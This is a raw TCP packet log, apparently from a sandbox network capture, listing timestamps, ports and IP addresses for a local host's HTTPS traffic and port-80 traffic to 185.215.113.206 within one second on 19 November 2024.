Nov 19, 2024 01:01:46.384684086 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.384752989 CET	49963	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.386881113 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.387074947 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.387105942 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.390402079 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.390461922 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.390773058 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.390860081 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.390887976 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.396476984 CET	443	49964	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.396682978 CET	49964	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.396699905 CET	443	49964	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.397876978 CET	443	49964	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.397952080 CET	49964	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.398260117 CET	49964	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.398328066 CET	443	49964	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.398380041 CET	49964	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.398389101 CET	443	49964	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.402662992 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.402882099 CET	49962	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.402889967 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.403167009 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.403438091 CET	49962	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.403487921 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.403542042 CET	49962	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.406179905 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.406378984 CET	49965	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.406390905 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.407249928 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.407346010 CET	49965	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.407619953 CET	49965	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.407675982 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.407741070 CET	49965	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.412236929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412287951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412297964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412306070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.412311077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412349939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.412364960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.412369967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412381887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412388086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412399054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412419081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.412444115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.412858963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412872076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412914038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.412930965 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.412954092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412969112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412980080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412992001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.412997961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.413008928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.413022041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.413027048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.413034916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.413041115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.413053036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.413058043 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.413064957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.413088083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.413106918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.427325964 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.435331106 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.451335907 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.455338001 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.472423077 CET	49960	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:46.472441912 CET	49963	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.472465038 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.472506046 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.472506046 CET	49964	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.472537041 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.500555038 CET	443	49960	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:46.500572920 CET	443	49960	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:46.500648975 CET	49960	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:46.500660896 CET	443	49960	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:46.501394987 CET	49960	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:46.501427889 CET	443	49960	20.75.60.91	192.168.2.6
Nov 19, 2024 01:01:46.501491070 CET	49960	443	192.168.2.6	20.75.60.91
Nov 19, 2024 01:01:46.531867981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.531945944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.531960011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.531972885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.531985044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.531995058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532000065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532006979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532037020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532043934 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532047987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532062054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532067060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532071114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532082081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532092094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532104969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532109022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532131910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532155037 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532181978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532233953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532234907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532244921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532273054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532315016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532325983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532337904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532347918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532357931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532358885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532377005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532386065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532387972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532417059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532440901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532464027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532475948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532485008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532505035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532531977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532546997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532577991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532586098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532588005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532612085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532628059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532785892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532830000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.532883883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.532922983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.533011913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533023119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533032894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533041954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533051014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533057928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.533062935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533075094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533085108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533086061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.533113956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.533130884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.533227921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533237934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533247948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533272982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.533281088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533293009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533303022 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.533322096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.533324957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.533346891 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.533354998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.533400059 CET	49963	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.533410072 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.533941984 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.534004927 CET	49963	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.536323071 CET	49963	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.536339045 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.536808014 CET	49974	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.536838055 CET	443	49974	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.536902905 CET	49974	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.539022923 CET	49974	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.539033890 CET	443	49974	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.549246073 CET	49975	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:46.549298048 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:46.549413919 CET	49975	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:46.549647093 CET	49975	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:46.549660921 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:46.550301075 CET	49965	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.550311089 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.551481009 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.551544905 CET	49965	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.551549911 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.552510023 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.553118944 CET	49965	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.559165001 CET	49965	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.559175014 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.573630095 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.585793972 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.585808039 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.585872889 CET	49962	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.585882902 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.585936069 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.585983992 CET	49962	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.602444887 CET	49962	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.602452993 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.651640892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651705027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.651743889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651755095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651766062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651774883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651787996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651788950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.651806116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651819944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651834965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651845932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651845932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.651854992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.651859045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651869059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651876926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.651880980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651891947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651892900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.651904106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651925087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.651951075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.651951075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.651987076 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.709670067 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.709728956 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.709784031 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.709822893 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.709888935 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.710041046 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.710843086 CET	443	49964	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.711011887 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.711040020 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.711042881 CET	443	49964	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.711092949 CET	443	49964	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.711097956 CET	49964	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.711278915 CET	49964	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.713916063 CET	49964	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:46.713932991 CET	443	49964	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:46.754689932 CET	49976	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:46.754730940 CET	443	49976	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:46.754878044 CET	49976	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:46.755152941 CET	49976	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:46.755166054 CET	443	49976	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:46.780200958 CET	49977	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:46.780239105 CET	443	49977	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:46.780344009 CET	49977	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:46.780730009 CET	49977	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:46.780745983 CET	443	49977	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:46.785478115 CET	443	49967	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.786252022 CET	49967	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.786276102 CET	443	49967	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.787724018 CET	49967	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.787741899 CET	443	49967	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.805018902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.805078030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.805087090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.805098057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.805108070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.805119991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.805134058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.805151939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.828794956 CET	443	49968	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.829582930 CET	49968	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.829603910 CET	443	49968	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.829924107 CET	49968	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.829936981 CET	443	49968	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.866544962 CET	443	49970	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.867100000 CET	49970	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.867127895 CET	443	49970	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.867593050 CET	49970	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.867603064 CET	443	49970	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.881802082 CET	443	49969	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.882380009 CET	49969	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.882400036 CET	443	49969	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.882920980 CET	49969	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.882925987 CET	443	49969	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.891170979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891186953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891197920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891208887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891227961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891241074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891242981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891252995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891266108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891278982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891282082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891283989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891290903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891299009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891304016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891330004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891355038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891360998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891371012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891381979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891392946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891396999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891411066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891426086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891436100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891442060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891448021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891458035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891469955 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891469955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891479969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891490936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891491890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891504049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891514063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891522884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891529083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.891541958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.891557932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.911854982 CET	443	49971	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.912367105 CET	49971	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.912379980 CET	443	49971	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.912849903 CET	49971	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.912853956 CET	443	49971	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.925048113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925074100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925092936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925103903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925117970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925128937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925139904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925148964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925154924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925160885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925163031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925174952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925184965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925185919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925204992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925206900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925220013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925224066 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925231934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925241947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925244093 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925252914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925265074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925273895 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925275087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925292015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925299883 CET	49889	80	192.168.2.6	185.215.113.206
